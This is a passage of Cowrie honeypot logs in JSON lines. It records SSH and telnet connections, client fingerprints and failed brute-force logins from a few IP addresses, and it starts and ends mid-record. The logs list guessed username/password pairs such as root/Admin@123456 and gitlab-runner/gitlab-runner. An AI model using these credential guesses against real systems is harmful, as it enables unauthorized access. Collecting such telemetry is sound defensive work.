01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:20.860322Z","src_ip":"95.38.165.118","session":"9b029d3b0ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:21.382652Z","src_ip":"95.38.165.118","session":"9b029d3b0ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:22.977150Z","src_ip":"95.38.165.118","session":"9b029d3b0ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42672,"dst_ip":"10.17.0.5","dst_port":22,"session":"497d34135433","protocol":"ssh","message":"New connection: 95.38.165.118:42672 (10.17.0.5:22) [session: 497d34135433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:25.576351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:25.581226Z","src_ip":"95.38.165.118","session":"497d34135433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:25.742296Z","src_ip":"95.38.165.118","session":"497d34135433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:26.240412Z","src_ip":"95.38.165.118","session":"497d34135433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":60482,"dst_ip":"159.203.135.109","dst_port":22,"session":"0510d16cc9ac","protocol":"ssh","message":"New connection: 193.228.128.84:60482 (159.203.135.109:22) [session: 0510d16cc9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:26.818939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:26.823259Z","src_ip":"193.228.128.84","session":"0510d16cc9ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:26.972207Z","src_ip":"193.228.128.84","session":"0510d16cc9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"44445555","message":"login attempt [root/44445555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:27.303808Z","src_ip":"193.228.128.84","session":"0510d16cc9ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:27.398599Z","src_ip":"95.38.165.118","session":"497d34135433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:28.408854Z","src_ip":"193.228.128.84","session":"0510d16cc9ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41964,"dst_ip":"10.17.0.5","dst_port":22,"session":"323ba6e264e7","protocol":"ssh","message":"New connection: 95.38.165.118:41964 (10.17.0.5:22) [session: 323ba6e264e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:30.606454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:30.629290Z","src_ip":"95.38.165.118","session":"323ba6e264e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:30.787562Z","src_ip":"95.38.165.118","session":"323ba6e264e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:31.976611Z","src_ip":"95.38.165.118","session":"323ba6e264e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.11483335494995,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:33.062304Z","src_ip":"69.4.83.194","session":"f3a41757c400","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:33.585114Z","src_ip":"95.38.165.118","session":"323ba6e264e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52504,"dst_ip":"10.17.0.5","dst_port":22,"session":"f18e87be6e9c","protocol":"ssh","message":"New connection: 95.38.165.118:52504 (10.17.0.5:22) [session: f18e87be6e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:36.912246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:37.220046Z","src_ip":"95.38.165.118","session":"f18e87be6e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:37.224804Z","src_ip":"95.38.165.118","session":"f18e87be6e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52516,"dst_ip":"10.17.0.5","dst_port":22,"session":"8abfda590ecc","protocol":"ssh","message":"New connection: 95.38.165.118:52516 (10.17.0.5:22) [session: 8abfda590ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:41.445263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:41.487602Z","src_ip":"95.38.165.118","session":"8abfda590ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:41.615144Z","src_ip":"95.38.165.118","session":"8abfda590ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:42.272027Z","src_ip":"95.38.165.118","session":"8abfda590ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:43.271083Z","src_ip":"95.38.165.118","session":"f18e87be6e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:43.439176Z","src_ip":"95.38.165.118","session":"8abfda590ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:44.450486Z","src_ip":"95.38.165.118","session":"f18e87be6e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54868,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bd20163b3dc","protocol":"telnet","message":"New connection: 69.4.83.194:54868 (159.203.135.109:23) [session: 2bd20163b3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:46.436609Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":60006,"dst_ip":"10.17.0.5","dst_port":22,"session":"774a316adc7c","protocol":"ssh","message":"New connection: 95.38.165.118:60006 (10.17.0.5:22) [session: 774a316adc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:46.744596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:46.749081Z","src_ip":"95.38.165.118","session":"774a316adc7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:47.473843Z","src_ip":"95.38.165.118","session":"774a316adc7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:48.465246Z","src_ip":"95.38.165.118","session":"774a316adc7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:51.390459Z","src_ip":"95.38.165.118","session":"774a316adc7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":60008,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b0a76f98118","protocol":"ssh","message":"New connection: 95.38.165.118:60008 (10.17.0.5:22) [session: 5b0a76f98118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:51.707055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:51.712001Z","src_ip":"95.38.165.118","session":"5b0a76f98118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:51.887112Z","src_ip":"95.38.165.118","session":"5b0a76f98118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:52.396657Z","src_ip":"95.38.165.118","session":"5b0a76f98118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07255554199219,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:52.798693Z","src_ip":"69.4.83.194","session":"20984d9056a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:53.974424Z","src_ip":"95.38.165.118","session":"5b0a76f98118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:56.672898Z","src_ip":"95.38.165.118","session":"092b4703dbe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59268,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ba55f490c6","protocol":"ssh","message":"New connection: 95.38.165.118:59268 (10.17.0.5:22) [session: 70ba55f490c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:56.687516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:57.026912Z","src_ip":"95.38.165.118","session":"70ba55f490c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"